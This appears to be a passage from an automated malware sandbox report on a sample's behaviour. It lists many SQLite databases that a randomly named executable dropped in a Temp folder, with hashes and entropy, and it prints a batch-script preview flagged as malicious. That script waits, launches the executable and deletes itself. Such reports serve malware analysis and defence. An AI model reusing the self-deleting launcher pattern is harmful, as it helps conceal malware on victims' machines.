SHA-256:	079A2D036749333D07B28A2440EEFF2AAC5C23622B3E14E546BD30B155E0EA85
SHA-512:	30017E0D09FA09D697462D142BBEAB73A001C209C8B36443FC05BD7950BB5F4E7A6024A269E424B5B30A1D31C63D38E249A6F91485A2B48C5F56AE424024AEB0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..ping -n 10 localhost > nul..start "" "C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\eTXTKQnz3l.bat"

C:\Users\user\AppData\Local\Temp\fAhLNXS3Dr

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fCY4UEDThk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fYZlYQmhx1

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g0MKnRUbZp

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gI4UbFuMjY

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ggES9vpZrI

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ggvaltPBVM

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\glXmJW0qHk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\glnGRjWugo

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gp1HNpATS2

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gubN1SVG9Q

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gy9F0Iy3bk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h0geQifCfk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h12UEwVEGh

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\h5vnfwqXo1

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hEwMjySNlU

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hHQ59VA1gh

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hWfIYRQpD2

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hX82OpooFo

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\haq9shfNro

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\hpgh3gCTiM

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\htl5p7mHlr

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iDAo4sbqMd

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iJwnOFWF9c

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\iMQx4NQRKL

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\imASsbU1Vv

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
